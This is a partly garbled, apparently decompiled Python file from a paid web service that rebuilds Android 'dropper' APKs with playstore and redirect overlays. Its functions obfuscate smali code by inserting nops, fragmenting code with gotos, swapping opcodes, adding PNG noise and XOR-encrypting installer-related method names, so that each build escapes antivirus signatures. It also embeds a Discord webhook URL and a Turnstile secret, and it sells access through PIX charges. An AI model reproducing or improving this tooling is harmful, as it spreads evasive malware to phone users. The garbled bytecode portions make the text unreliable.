3G,.>?GNN;HGY/HHk2II;a II0 Fwwrww||L'BC Q 	0Cg((c3/	0  :;	fcG	, HHJD	A ODqyIId_abc	Q %WIQ/DqyIIdDtS7];Q?	Q#H:Q/DqyIIdDtX6:	Q %XJa0DqyIIdDtS8^<a@	Q$WIQ/DqyIIdDtS7];Q?	Q$WIQ/DqyIIdDtS7];Q?	QDy&#0 	CIIaL	
1#^G9F;</0
 LlG!DE a 	8Dx(**!ww||D$7	8  ,g6 	#B	92:D"LaPB!GB;2:D"NPQRB!GB(	3bjD$tT3="A1EB!GB bj )	32:D$tT3="A1EB!GB;lC': c		"Kt>(6BC;<5 i H	 	"	 	* s0   O33P .P9P3O= P
PP#c           
         dd l }t        j                  j                  | d      }t        j                  j	                  |      st        d       y i }t        j                  |      D ]  }t        j                  j                  |      \  }}|j                         dv s8dj                  t        j                  |j                  t        j                  dd                  }||j                         z   ||<    |st        d	       y t        d
t        |      z          |j                         D ]X  \  }}		 t        j                  t        j                  j                  ||      t        j                  j                  ||	             Z t        j"                  |       D ]  \  }}}|D ]  }|j%                  d      st        j                  j                  ||      }	 t'        |ddd      5 }|j)                         }d d d        }|j                         D ]  \  }}	|j+                  ||	      } ||k7  r(t'        |dd      5 }|j-                  |       d d d          t        d
t        t/        |            z   dz          y # t         $ r"}
t        dt        |
      z          Y d }
~
~d }
~
ww xY w# 1 sw Y   xY w# 1 sw Y   kxY w# t         $ r Y 1w xY w)Nr   assetsz$[assets] assets/ nao existe, pulando).html.cssz.jsrX   r   rO   ry   z)[assets] nenhum .html/.css/.js encontradoz	[assets] z[assets] rename falhou: )r*  r.  r/  r  r  r0  r1  r2  r3  r6  r7  z asset(s) renomeados)r   r   r   r]   r   r   listdirsplitextlowerrD   r~   r   rZ   r_   rL  rO  r   rJ  rK  rP  rQ  rN  rR  r  )rS  r  
assets_dir
rename_maprc  baseextrandoldnewera  r`   rb  rg  rh  ri  rj  s                     rJ   _randomize_assetsr    sn   lH5J77>>*%45Jjj$ 0GG$$R(	c99;22776>>$*>*>&..QRTVBWXYD!CIIK/JrN	0
 9:	+J
'($$& 7S	7IIbggll:s3RWW\\*c5RS7
 WW\* 	Ar 	B;;JKb"%B
"cGHE #&&(C# * 0 0 2 8HC%ooc37G8c>b#8 )A()	  
+C
O,
,/E
EF%  	7,s1v566	7# #) ) s\   7AJK.J6?AKKK	J3J..J36J?;KKK	KKc                    t               }|j                  dd      }|j                  dd      }t        j                  j                  | dg|j                  d       }t        j                  j                  | dg|j                  d       }t        j                  j                  |      rJt        j                  t        j                  j                  |      d       t        j                  ||       t        j                  |       D ]  \  }}}	|	D ]  }
|
j                  d      st        j                  j	                  ||
      }	 t        |ddd	
      5 }|j                         }d d d        j                  ||      j                  ||      }||k7  r(t        |dd      5 }|j                  |       d d d          y # 1 sw Y   ]xY w# 1 sw Y   xY w#  Y xY w)Nr|   /r)  Texist_okr-  r0  r1  r2  r3  r6  r7  )r   rN  r   r   r]   splitr   makedirsdirnamer   moverJ  rK  rP  rQ  rR  )rS  orig_pkgnew_pkg
orig_slash	new_slash	old_smali	new_smaliroot_dirr`   filesfnamefpathrh  contentncs                  rJ   _randomize_dropper_packager/    s   jG!!#s+Jc*IlGJhnnS6IJIlGIgmmC6HII	ww~~i 
BGGOOI.>Iy) ggl3 !U 	E>>"<=GGLL51E%wxH 'AffhG'__Z;CCHgV=eS7; $q$	' '$ $s<   G G,=G )G;G GG GG  G$c                 Z   t        t        j                  dd            }t        j                  dd       dt        j                  dd       dt        j                  dd       }t        j                  j                  | d      }t        j                  j                  |      r	 t        |d	      5 }|j                         }d d d        t        j                  d
d| d      }t        j                  dd| d|      }t        |d      5 }|j                  |       d d d        t        j                  j                  | d      }t        j                  j                  |      r	 t        |d	d      5 }|j                         }d d d        t        j                  dd| d      }t        j                  dd| d|      }t        |dd      5 }|j                  |       d d d        y y # 1 sw Y   -xY w# 1 sw Y   xY w#  Y xY w# 1 sw Y   xY w# 1 sw Y   y xY w#  Y y xY w)N2   i  r,  rM   r|   r      apktool.ymlr0  zversionCode: '[^']*'zversionCode: ''zversionName: '[^']*'zversionName: 'r6  AndroidManifest.xmlr1  r7  z platformBuildVersionCode="[^"]*"zplatformBuildVersionCode="r  z platformBuildVersionName="[^"]*"zplatformBuildVersionName=")r_   rD   rZ   r   r   r]   r   rP  rQ  r|  r  rR  )rS  vcvnyml_pathrh  r-  mf_paths          rJ   _randomize_versionr:  6  s   	V^^B$	%BNN1Q &..1"5!6aq8L7M	NBww||L-8H	ww~~h	h$=QVVX7=ff4rd!6LgVGff4rd!6LgVGh$;1777+;;ggll<)>?G	ww~~g	gsW5NaffhGNff@D^_a^bbcBdfmnGff@D^_a^bbcBdfmnGgsW5LAGGG<LLL  >= <; ON MLs   &H 2G.A
H G;H 'H& 5HAH& H$H& .G83H ;H H HHH& H#H& #H& &H*c           	      	   ! t        d dD              !! fd}t        j                  d      }t        j                  d      }t        j                  d      }t        j                  j                   d      }d}t        j                  |      D ]  \  }}}	|	D ]  }
|
j                  d	      st        j                  j                  ||
      } ||      s?	 t        |d
dd      5 }|j                         }d d d        dv sd|v rq|j                  d      }g }d}d}d}|t        |      k  r|j                  ||         r|j                  ||          |dz  }=|j                  ||         rg }|}|t        |      k  rP|j                  ||         r<|j                  ||          |dz  }|t        |      k  r|j                  ||         r<g }d}|t        |      k  r|j                  ||         rE|dz   t        |      k  r4|j                  ||dz            r|j                  |||dz           |dz  }n|j                  |||dz           |dz  }|t        |      k  rt        |      dk\  rt        j                         dk  r||dz  }t        j                  dt        |      dz
        }|d | D cg c]  }|D ]  }|  }}}||d  D cg c]  }|D ]  }|  }}}|j                  |d         s|j                  |d         r|j!                  |       |}t#        j$                  d      t'        |d      z   }d|z   d|z   d|z   }}}|j                  d|z   dz          |j                  d|z   dz          |j!                  |       |j                  d|z   dz          |j                  d|z   dz          |j!                  |       |j                  d|z   dz          |j                  d|z   dz          d}|}n-|j!                  |       |}n|j                  ||          |dz  }|t        |      k  r|r-t        |dd       5 }|j)                  |       d d d        |dz  }  t-        d#t/        |      z   d$z          y # 1 sw Y   xY wc c}}w c c}}w # 1 sw Y   HxY w# t*        $ r(} t-        d!|
z   d"z   t/        |       z          Y d } ~ Vd } ~ ww xY w)%Nc              3   \   K   | ]$  }t        j                  j                  d g|  & ywr)  Nr   r   r]   rQ   partss     rJ   rT   z#_obfuscate_gotos.<locals>.<genexpr>L  *       	W%u%   *,)devakamai)iogitlab)comandroidsystem)rH  
cloudflare)netgithub)rH  adobec                 n    t         j                  j                  |       t        fdD              S )Nc              3   @   K   | ]  }j                  |        y wr  rM  rQ   r0  rels     rJ   rT   z4_obfuscate_gotos.<locals>._is_own.<locals>.<genexpr>U       =3>>!$=   r   r   relpathanyrg  rS  _DROPPER_ROOTSrS  s    @rJ   _is_ownz!_obfuscate_gotos.<locals>._is_ownS  (    ggoob,/=n===rI    ^\s+(?:invoke-|filled-new-array)^\s+move-resultzW^\s{4}(?!goto\b|if-|return|throw\b|packed-switch|sparse-switch|fill-array-data)[a-zA-Z]r)  r   r*  r0  r1  r2  r3  z
:try_startz.catch T)keependsFr,     r{   ffffff?   03xz:gf_z:gb_z:ge_z	    goto r{  z    r6  r7  z[goto] erro em r   z[goto] z! arquivo(s) fragmentados com goto)tupler|  r}  r   r   r]   rJ  rK  rP  rQ  
splitlinesr  matchr\   rD   rZ   extendr   r   format
writelinesr   r   r_   )"rS  r[  _INVOKE_MRES_PUREr_  files_patchedra  r`   rb  rc  rg  rh  ri  lines	new_linesrR   modifieduidrawjunitsrz   midulfirstsecondtaglflbleexcrZ  s"   `                                @rJ   _obfuscate_gotosr  K  s    
 N> jj<=Gjj+,Ejj	E \73IMWWY' 5@	Ar 4	@B;;x((b"%B2;0@"cGHE #&&(C#3&)s*:5	A%xq#e*n{{58,!((q2AFAH{{58, #e*nU1X1FJJuQx0!q&!  #e*nU1X1F "A#c(l 'c!f 5!A#C.U[[Y\]^_`]`YaMb %S1Q3Z 8!q&! %S1Q3Z 8!q&!	  #c(l
 u:?v}}/E1HC"(..CJN"CC16t%HAa%Ha%Ha%HE%H16st%HAa%Ha%Ha%HF%H${{584F1I8N ) 0 0 51qh")"3"3A"6U9K"KC)/VCZBB%,,[2-=-DE%,,Vb[4-?@%,,V4%,,[2-=-DE%,,Vb[4-?@%,,U3%,,[2-=-DE%,,Vb[4-?@'+HQ%,,S1q1!((q2AFAG #e*nH b#8 0AY/0!Q&Me4	@5@l 
)c-(
(+N
NOa# #. &I%H&0 0  @'",t3c#h>??@s|   S*R ;SCSBS0ASR-
S!R3
1ESS R92S R*%S9S>S	S6S11S6c           	      j    t        d dD               fd}d}d}t        j                  d      }t        j                  d      }d }t        j                  j                   d	      }d
}d
}	t        j                  |      D ]5  \  }
}}|D ](  }|j                  d      st        j                  j                  |
|      } ||      s?	 t        |ddd      5 }|j                         }d d d        g }d
}d}d
}t              D ]s  \  }}|j                         }|j                  d      rd}n|dk(  rd}|D ]  }|j                  |      s|dz  } n |j                  |       |D ]$  }|j                  |      st        d
|dz
        } n t        |j!                  |            } |||      }t        |j!                  |            }|s|d
k(  s|s|j                  d      r|j                  d      r|j                  d      r|dk7  s|r|rt#        j"                         dk  s3t%        |      t%        |j'                               z
  }|j                  d|z  dz          |dz  }v |d
kD  r2t        |dd      5 }|j)                  |       d d d        ||z  }|	dz  }	+ 8 t-        d t/        |      z   d!z   t/        |	      z   d"z          y # 1 sw Y   xY w# 1 sw Y   PxY w# t*        $ r(}t-        d|z   dz   t/        |      z          Y d }~d }~ww xY w)#Nc              3   \   K   | ]$  }t        j                  j                  d g|  & ywr=  r>  r?  s     rJ   rT   z_insert_nops.<locals>.<genexpr>  rA  rB  rC  c                 n    t         j                  j                  |       t        fdD              S )Nc              3   @   K   | ]  }j                  |        y wr  rQ  rR  s     rJ   rT   z0_insert_nops.<locals>._is_own.<locals>.<genexpr>  rT  rU  rV  rY  s    @rJ   r[  z_insert_nops.<locals>._is_own  r\  rI   )z.annotationz.array-dataz.packed-switchz.sparse-switchz.subannotation)z.end annotationz.end array-dataz.end packed-switchz.end sparse-switchz.end subannotationr]  r^  c                     |dz   }|t        |       k  r:| |   j                         s'|dz  }|t        |       k  r| |   j                         s'|t        |       k  r| |   S dS )Nr,  rX   )r  strip)rn  idxrs  s      rJ   _next_nonemptyz$_insert_nops.<locals>._next_nonempty  s_    !G#e*nU1X^^%5FA #e*nU1X^^%5s5z>uQx1r1rI   r)  r   r*  r0  r1  r2  r3  Fz.method Tz.end methodr,  r|   :#nop皙?rC   znop
r6  r7  z[nop] erro em r   z[nop] z nop(s) em z arquivo(s))rd  r|  r}  r   r   r]   rJ  rK  rP  	readlines	enumerater  rM  r\   maxboolrf  rD   r  lstripri  r   r   r_   )rS  r[  _BLOCK_OPEN_BLOCK_CLOSE
_INVOKE_RE_MRES_REr  r_  
total_nopsrm  ra  r`   rb  rc  rg  rh  rn  ro  in_block	in_methodaddedr  linesblkcurr_is_invoke	next_realnext_is_mresindentr~  rZ  s   `                             @rJ   _insert_nopsr    s    
 N> hK@L?@J./H2 \73IJMWWY' /?	Ar .	?B;;x((b"%B2;*?"cGHE *KKME*	!	!*5!1 #IC

A||J/$(	m+$)	* "<<,$MH!" $$T*+ "<<,'*1hl';H!" &***:*:4*@%AN%3E3%?I%)(..*C%DL!h!m$%LL$5$%LL$5$%LL$5 !U
$2$0 &$ 6!$TS-?!?!((v)?@
9#: 19b#8 0AY/0%'J!Q&MY.	?/?` 
(S_
$}
4s=7I
IM
YZU* *H0 0  ?&+d2SX=>>?s   LK(/A#L/LALLLL0LLLL L$L=ALK5&L(K2-L5K>:L	L2
L--L2c           	          t        d dD               fd}t        j                  j                   d      }t	        j
                  d      dft	        j
                  d      dft	        j
                  d	      d
ft	        j
                  d      dfg}d}t        j                  |      D ]  \  }}}|D ]  }|j                  d      st        j                  j                  ||      }	 ||	      s>	 t        |	ddd      5 }
|
j                         }d d d        }|D ]  \  }}|fd}|j                  ||      } ||k7  r-t        |	dd      5 }
|
j                  |       d d d        |dz  }  t        dt        |      z   dz          y # 1 sw Y   }xY w# 1 sw Y   9xY w# t        $ r(}t        d|z   dz   t        |      z          Y d }~d }~ww xY w)Nc              3   \   K   | ]$  }t        j                  j                  d g|  & ywr=  r>  r?  s     rJ   rT   z _swap_opcodes.<locals>.<genexpr>  rA  rB  rC  c                 n    t         j                  j                  |       t        fdD              S )Nc              3   @   K   | ]  }j                  |        y wr  rQ  rR  s     rJ   rT   z1_swap_opcodes.<locals>._is_own.<locals>.<genexpr>  rT  rU  rV  rY  s    @rJ   r[  z_swap_opcodes.<locals>._is_own  r\  rI   r)  z(?m)^(\s+)const/4(\s)zconst/16z(?m)^(\s+)move-object(\s)zmove-object/from16z(?m)^(\s+)move(?![-/])(\s)zmove/from16z&(?m)^(\s+)move-wide(?!/from16|/16)(\s)zmove-wide/from16r   r*  r0  r1  r2  r3  c                     t        j                          dk  r&| j                  d      |z   | j                  d      z   S | j                  d      S )N      ?r,  r`  r   )rD   group)mops     rJ   _subz_swap_opcodes.<locals>._sub  sA    AGSVAV
R!''!* <f\]\c\cde\ffrI   r6  r7  r,  z[opcodes] erro em r   z
[opcodes] z$ arquivo(s) com opcodes substituidos)rd  r   r   r]   r|  r}  rJ  rK  rP  rQ  r  rR  r   r   r_   )rS  r[  r_  _SWAPSrm  ra  r`   rb  rc  rg  rh  ri  rj  patnew_opr  r~  rZ  s   `                @rJ   _swap_opcodesr    s    
 N> \73I	,	-L	0	1AUV	1	2O	=	>AST	F MWWY' C	Ar 	CB;;x((b"%B2;C"cGHE #&&(C##) 5KC#) g!ggdG4G5 c>b#8 )A()!Q&M	CC& 
,]+
+.T
TU# #) )  C*R/$6SABBCsH   4F(F>F(F$F(FF(F%!F((	G1GGc           	      <   dd l }dd l}t        j                  j	                  | d      }t        j                  j                  |      sy d}t        j                  |      D ]R  \  }}}|D ]E  }|j                         j                  d      s$t        j                  j	                  ||      }		 t        |	d      5 }
|
j                         }d d d        j                  d      s||j                  d      }|dk  r|dz
  }t        j                  d      j                         }d	|z   }d
}|j!                  ||z         dz  }|j#                  dt%        |            |z   |z   |j#                  d|      z   }|d | |z   ||d  z   }t        |	d      5 }
|
j'                  |       d d d        |dz  }H U t+        dt-        |      z   dz          y # 1 sw Y   xY w# 1 sw Y   <xY w# t(        $ r(}t+        d|z   dz   t-        |      z          Y d }~d }~ww xY w)Nr   r   .pngrbs   PNG

s   IENDr{   r  s   Comment s   tEXt    z>Iwbr,  z[png] erro em r   z[png] z PNG(s) com noise injetado)structzlibr   r   r]   isdirrJ  r  rK  rP  rQ  rM  rfindr   r   r  crc32packr  rR  r   r   r_   )rS  r  r  res_dircountra  r`   rb  rc  rg  fhdataiend_pos	insert_atnoisepayload
chunk_typecrc_valchunknew_datar~  s                        rJ   _add_png_noiser    s   ggll</G77==!EWWW% ?	Ar 	?B88:&&v.b"%B?"d^ %r779D%';<::g.a<$qL	))!,335(50$
**Z'%9:ZGT3w<8:E"#%+[[w%?@
+e3d9:6FF"d^ 'rHHX&'
-	??4 
(SZ
">
>?)% %' '  ?&+d2SX=>>?sU   /G*;GG*&G*=BG*G#G*GG*G'#G**	H3HHc                    t         j                  j                  | ddd      }t         j                  j                  |      sy 	 t	        |dd      5 }|j                         }d d d        dt        j                  d      z   }d	t        j                  d      z   d
z   }dj                  ||      }dv rP|j                  d|dz   d      }t	        |dd      5 }|j                  |       d d d        t        d|z   dz          y y # 1 sw Y   xY w# 1 sw Y   (xY w# t        $ r!}t        dt        |      z          Y d }~y d }~ww xY w)Nr   xmlzfile_paths.xmlr0  r1  r7  tmp_r{   cache_r  z'    <files-path name="{}" path="{}" />
z</paths>r,  r6  z3[xml] file_paths.xml: entrada ficticia adicionada ()z[xml] erro: )r   r   r]   r   rP  rQ  r   r   rh  rN  rR  r   r   r_   )rS  rg  r  ri  
dummy_name
dummy_pathentryr~  s           rJ   _randomize_xml_pathsr  3  s-   	lE52B	CB77>>")"cG, 	'')C	g//22
 1 1! 44s:
:AA*jY++j%**<a@Cb#0 BG*TWZZ[	 	 	   )ns3x'(()sI   D D#A5D D*D D
D DD 	E&EEc           
         ddl }dddddd}d}t        j                  t        j                  j	                  | d	            D ]8  \  }}}|D ])  }|d
k(  s	t        j                  j	                  ||      } n |s8 n |st        d       yt        |dd      5 }|j                         }	ddd       d}
|j                         D ]6  \  }}|j                  dd      }|	vr|j                  d      dj	                  t        j                  t        j                  t        j                  z   t        j                   dd                  j                  d      t#        fdt%        t'                    D              }|j)                  |      j+                         }|j)                        j+                         }|	j                  d| dd| dd      }	|	j                  d| dd| dd      }	|
dz  }
9 |
r8t        |dd      5 }|j-                  	       ddd       t        d|
 d       yt        d       y# 1 sw Y   xY w# 1 sw Y   2xY w)u   XOR-cifra os placeholders de nomes de metodo em H.smali.
    Cada build gera chaves diferentes — os bytes do APK mudam por build.r   NgetPackageManagergetSystemServicecanRequestPackageInstallsgetPackageNamegetLaunchIntentForPackage)H_DATA_AH_DATA_BH_DATA_CH_DATA_DH_DATA_Er)  zH.smaliz'[enc_h] H.smali nao encontrado, pulandor0  r1  r7  DATAKEYrX   r  r   ry   c              3   L   K   | ]  }|   |t              z     z    y wr  r  )rQ   rR   _kb_pts     rJ   rT   z%_encrypt_h_strings.<locals>.<genexpr>j  s'     IASVc!c#h,//Ir  r  r,  r6  z[enc_h] z string(s) cifradas em H.smaliz0[enc_h] nenhum placeholder encontrado em H.smali)r  r   rJ  r   r]   r   rP  rQ  rL  rN  r  rD   r~   r   r  r  rZ   r  rY   r  r  r  rR  )rS  r  _H_MAPh_targetr  r`   r  r  _f_txt_patched_data_phr  _key_ph_enc_enc_b64_key_b64r  r  s                    @@rJ   _encrypt_h_stringsr  G  s;     (&/$/F Hwwrww||L'BC Q 	Ci77<<S1	  78	hg	. "wwyH"LLN &""6514}}W%wwv~~f&:&:V]]&J)/2)>@ AAG 	Is3xII>>$'..0>>#&--/||a{!,(1oqA||azO(1oqAA (C'2 	bHHTN	
"@AB@A- $	 	s   IIIIapk_dropperz.secret_keyr0      Tr  r6  i  MAX_CONTENT_LENGTHSESSION_COOKIE_SECURESESSION_COOKIE_HTTPONLYLaxSESSION_COOKIE_SAMESITErx   daysPERMANENT_SESSION_LIFETIMEuploadsUPLOAD_FOLDERoutputsOUTPUT_FOLDERpdfs
PDF_FOLDERz	data.jsonzpdf_tokens.jsondropper_rebuildplaystore_overlayredirect_overlayz
signer.jarzapktool.jarzyhttps://discord.com/api/webhooks/1526113125022040084/0uw-g4-GVYE6pfHXQNLiBoDRbd0AekHzrZx30BknKe_FjRadiOMVFVdUElrIgWhyzp2h#0x4AAAAAAD1QUaKT4jUJX8qN6uQcZzK3zR4c                 @   ddl }ddl}ddl}| sy	 t        t	        |       dd d}|r||d<   |j
                  j                  |      j                         }|j                  j                  d|dd	id
      }|j                  j                  |d      5 }|j                  |j                               }ddd       j                  dd      }	|	st        d|j                  dd              |	S # 1 sw Y   =xY w# t        $ r}
t        d|
        Y d}
~
yd}
~
ww xY w)z<Verifica token Cloudflare Turnstile. Retorna True se valido.r   NF   )secretresponseremoteipz9https://challenges.cloudflare.com/turnstile/v0/siteverifyContent-Typez!application/x-www-form-urlencodedPOST)r  headersmethod   r   successz[turnstile] falhou: zerror-codesrX   z[turnstile] excecao: )urllib.requesturllib.parsejsonTURNSTILE_SECRETr_   parse	urlencoder  r   RequesturlopenloadsrQ  r  r   r   )tokenipurllib_jsonparamsr  reqrespresultokr  s              rJ   _verify_turnstiler    s   66,#e*Ud:KL!#F:||%%f-446nn$$G#%HI	 % 
 ^^##C#3 	.t[[-F	.ZZ	5)(M2)F(GHI		. 	.  %aS)*s0   BC<  C04;C< 0C95C< <	DDDr`  rO   r   r  z7 DiasihB  )r  labelprice   z15 Diasixi  r   z30 Diasi  )71530   )maxsizec                     	 d| ||t        j                         j                         |xs g dgi}t        j                  t
        |d       y # t        $ r Y y w xY w)Nembeds)titledescriptioncolor	timestampfieldsr  )r  r   )r   utcnow	isoformathttp_requestspostDISCORD_WEBHOOKr   )r(  r)  r*  r,  r  s        rJ   _send_discord_webhook_syncr2    sd    *%__.88: ,B 
 	?!D s   AA 	AAc                  v    	 	 t         j                         } | t        | d   i | d    *# t        $ r Y w xY w)Nr   r,  )_webhook_queuer  r2  r   )items    rJ   _webhook_workerr6    sN    
	!%%'D|&Q;47;   		s   , , 	88)r  daemonc                 p    	 t         j                  | |f||df       y # t        j                  $ r Y y w xY w)Nr*  r,  )r4  
put_nowait_queueFull)r(  r)  r*  r,  s       rJ   send_discord_webhookr=    s;    !!E;#75TZ9["\];; s    55c                     t         j                  j                  t              sdt	        d      ddt        j                         j                         d d dg d ddddd
ii i g d	d
ddddddddd} t        t        d      5 }t        j                  | |d       d d d        | S dddddd}t        t        d      5 }	 t        j                  |      }d|vr	d	d
dd|d<   d|d   vrt        |      |d   d<   n0|j                         D ]  \  }}|d   d   j                  ||        d|vri |d<   d|vrg |d<   d|vri |d<   |cd d d        S # 1 sw Y   | S xY w#  i i g i d	d
dt        |      ddcY cd d d        S xY w# 1 sw Y   y xY w)Nadminadmin123ownerrX   activer   total_buildssuccessful_buildsfailed_builds
r   roleemail
created_atlicense_dayslicense_expires_atstatusbuildsteam_idamplificationrO   r   rx   zhttps://api.syncpayments.com.brF)base_url	client_idclient_secretwebhook_secretenabled)max_users_per_admindefault_license_daysauto_cleanup_daysgateway)userspending_registrationsteamshistorysettingsr6  r{   r  r0  r^  )rV  rW  rX  rY  r\  r]  r[  )rZ  r\  r]  r[  r^  )r   r   r   	DATA_FILEr   r   nowr.  rP  r  dumploaddictrL  
setdefault)initial_datarh  _default_gwr  rz   rv   s         rJ   	load_datarh    s    77>>)$  6z B#"*,,.":":"<$(*.& #67abc%d &(')(*%& A!#%'&($	%
> )S! 	1QIIlAa0	1@rdfz|  JO  PK	i	 	99Q<D%;=WYpq#rZ Z 00.2;.?Z +'--/ ADAq$Y/::1a@Ad" "W$"$Y&d202,-! 	1(	bRRT+-r`a#K0 %   s1   E<F>BEEE?4F?FFc                 x   t         5  t        dz   }t        |d      5 }t        j                  | |d       |j                          	 t        j                  |j                                d d d        t        j                  |t               d d d        y # t        $ r Y 6w xY w# 1 sw Y   ;xY w# 1 sw Y   y xY w)Nz.tmpr6  r{   r_  )
_save_lockr`  rP  r  rb  flushr   fsyncfilenoOSErrorrN  )r  tmp_pathrh  s      rJ   	save_datarp  >  s     
 	(v%(C  	AIIdAa(GGI$		 	

8Y'	( 	(  	 		( 	(s@   B0)B$#B*"B0	B!B$ B!!B$$B-	)B00B9c                 h    | j                  d      s| j                  d      rt        | |      S | |k(  S )Npbkdf2:scrypt:)rM  r   )storedprovideds     rJ   verify_passwordrv  L  s5    #v'8'8'C"6844XrI   c                     | j                  d      dk(  ry| j                  d      dk(  ry| j                  d      }|r.	 t        j                         t        j                  |      kD  ry	 yy#  Y yxY w)NrM  inactiveTrH  rA  FrL  )r  r   ra  fromisoformat)	user_datarL  s     rJ   is_user_expiredr{  Q  sw    }}X*,}}V'"';<	||~ 6 67I JJ K 	s   *A- -A1c                     | sy| j                         } | j                  d      dk(  r"	 t        d | j                  d      D              S d| v rd| vrd| vr	d| vrd	| vry
y#  Y yxY w)NFr|   rb  c              3   N   K   | ]  }d t        |      cxk  xr dk  nc   yw)r      Nint)rQ   ps     rJ   rT   z_is_valid_ip.<locals>.<genexpr>e  s!     @aqCF)c))@s   #%r  rC   r  r4  <T)r  r  allr  )r  s    rJ   _is_valid_ipr  _  sq    U		Awws|q	@1773<@@@ axCqLS\clsRS|	 	us    A   A$c                      dD ]?  } t         j                  j                  | d      j                         }t	        |      s=|c S  t         j
                  xs dj                         S )N)zCF-Connecting-IPz	X-Real-IPrX   unknown)r   r  r  r  r  remote_addr)headerrv   s     rJ   get_client_ipr  l  sZ     4 OO+113?H ,93355rI   c                     t        j                          }t        |    D cg c]  }||z
  t        k  s| c}t        | <   t        t        |          t        k\  S c c}w r  )timelogin_attemptsATTEMPT_WINDOWr  MAX_ATTEMPTSr  ra  r   s      rJ   is_rate_limitedr  u  sM    
))+C%3B%7T37^;S!TN2~b!"l22 U
   AAc                 X    t         |    j                  t        j                                y r  )r  r\   r  r  s    rJ   record_login_attemptr  z  s    2diik*rI   c                     t        j                          }t        |    D cg c]  }||z
  t        k  s| c}t        | <   t        t        |          t        k\  S c c}w r  )r  register_attemptsREGISTER_WINDOWr  MAX_REGISTER_ATTEMPTSr  s      rJ   is_register_limitedr  }  sP    
))+C(9"(=[1q?AZQ[b $%)>>> \r  c                 X    t         |    j                  t        j                                y r  )r  r\   r  r  s    rJ   record_register_attemptr    s    b  -rI   c                 V    t               }| |d   v r|d   |    j                  dd      S y )NrZ  rH  operatorrh  r  usernamer  s     rJ   get_user_roler    s4    ;D4= G}X&**6:>>rI   c                 T    t               }| |d   v r|d   |    j                  d      S y )NrZ  rO  r  r  s     rJ   get_team_idr    s2    ;D4= G}X&**955rI   c                 &   t               }|d   j                  | i       j                  d      }|d   j                  |i       j                  d      }|dk(  ry|dk(  r4|dk(  r/|d   |    j                  d      |d   |   j                  d      k(  S y)	NrZ  rH  rA  Tr?  r  rO  Fr  )current_usertarget_userr  current_roletarget_roles        rJ   can_manage_userr    s    ;D=$$\26::6BLw-##K488@Kww*$=.229=g{A[A_A_`iAjjjrI   c           	          t               }|d   j                  d| ||t        j                         j	                  d      d       |d   d d |d<   t        |       y )Nr]  r   %d/%m/%Y %H:%M:%S)useractiondetailsr+    )rh  insertr   ra  strftimerp  )r  r  r  r  s       rJ   add_historyr    s[    ;DO17\\^,,-@A  9ods+DOdOrI   c           
      >   t               }| |d   v rd|d   |    vrg |d   |    d<   |d   |    d   }|D ]s  }|j                  d      |k(  s||d<   t        j                         j	                         |d<   t        j                         j                  d      |d<   t        |        y  |j                  d|||t        j                         j	                         t        j                         j                  d      d	       |d d
 |d   |    d<   t        |       y y )NrZ  rN  build_idrM  r+  r  date_displayr   )r  app_namerM  r+  r  r  )rh  r  r   ra  r.  r  rp  r  )r  r  rM  r  r  rN  builds          rJ   add_build_historyr    s   ;D4= 4=2202DM(#H-gx(2 	Eyy$0"(h%-\\^%=%=%?k"(0(?(?@S(Tn%$	 	a h&!113$LLN334GH
 	
 -34CLWh)$# !rI   c                 
   t               }| |d   v rrd|d   |    vrdddd|d   |    d<   |d   |    d   dxx   dz  cc<   |dk(  r|d   |    d   dxx   dz  cc<   n|d	k(  r|d   |    d   d
xx   dz  cc<   t        |       y y )NrZ  rP  r   rC  rD  r,  	concluidorE  errorF  )rh  rp  )r  build_statusr  s      rJ   update_amplificationr    s    ;D4= $w-"99HI`atu7vDM(#O4Wh0@AE@;&M(#O45HIQNIV#M(#O4_EJE$ !rI   c                 v    |}t               }| D ]'  }|dz  dz   dz  }|j                  ||dz	  dz  z         ) |S )Nif i_n<r     r~  )	bytearrayr\   )r  seedrs  	encryptedbytes        rJ   encrypt_lcgr    sT    AI 4'kZ':5!r'T!1234 rI   pix_codereturnc                    	 ddl }ddlm} ddl}|j	                  |j
                  j                  dd      }|j                  |        |j                  d       |j                  d	d
      } |       }|j                  |d       |j                  |j                               j                         S # t        $ r Y yw xY w)z0Generate base64 PNG QR code from PIX EMV string.r   N)BytesIOr   r`  error_correctionbox_sizeborderTfitblackwhite
fill_color
back_colorPNGrh  rX   )qrcoderF  r  r  QRCode	constantsERROR_CORRECT_Madd_datamake
make_imagesaver  getvaluer  r   )r  r  r  r  qrimgbufs          rJ   _qr_from_pix_coder    s    ]]F,<,<,L,LWXab]c
H
Dmmw7mCiU#/6688 s   B2B5 5	C Cgateway_configc                    | j                  dd      j                  d      }| j                  dd      }| j                  dd      }| d| }t        j                  |      }|rt        j                         |d   k  r|d   S t        j                  | d	||d
dddd      }|j                  dk7  r(t        d|j                   d|j                  dd        |j                         }|j                  dd      }t        |j                  dd            }	|t        j                         t        t        |	dz
  d            z   dt        |<   |S )zMGet or refresh Bearer token using /api/partner/v1/auth-token. Caches for ~1h.rQ  rX   r  rR  rS  r  
expires_atr  z/api/partner/v1/auth-token)rR  rS  application/json)r  Acceptr   )r  r  r   r$  zAuth falhou (): Naccess_token
expires_in  x   <   )seconds)r  r  )r  rstrip_gw_token_cacher   ra  r/  r0  status_coder   r   r  r  r   r  )
r  rQ  rR  rS  	cache_keycachedr  r   r  r  s
             rJ   _get_gateway_tokenr    sP   !!*b188=H"";3I"&&;M+Q}o.I  +F(,,.6,#77g*./$}E!3?QR	D 3-(8(8'9TYYt_<MNOO		AEE."%EQUU<./JllnyZ#=Mr9R'SS"OI LrI   c                 2   |j                  d      st        d      |j                  dd      j                  d      }|st        d      t        |      }t	        | dz  d      |xs d	d
}|r||d<   t        j                  | dd| ddd|d      }|j                  dvr(t        d|j                   d|j                  dd        |j                         }	|	j                  dd      }
|	j                  d|      }t        |      t        |
      |
ddS )z.Create PIX charge via /api/partner/v1/cash-in.rU  zGateway desativadorQ  rX   r  z#Base URL do gateway nao configuradad   r`  zBYPASS - Plano de acesso)amountr)  clientz/api/partner/v1/cash-inBearer r  )Authorizationr  r  r2  )r  r  r   )r$     zCash-in falhou (r  N   r  
identifierpending)	charge_idqr_code_base64
copy_pasterM  )r  r   r  r  roundr/  r0  r  r   r  r_   r  )amount_centsr)  external_idr  client_datarQ  r  bodyr  r   r  r  s               rJ   create_pix_charger    s@   i(,--!!*b188=H=>>~.E s*A."@&@D $X*+,&ug..(

 	D z)*4+;+;*<C		$3?PQRR		AuuZ$H|[1J _+H5	 rI   c                 `   |j                  dd      j                  d      }|r| sy	 t        |      }t        j                   | d|  d| ddd	
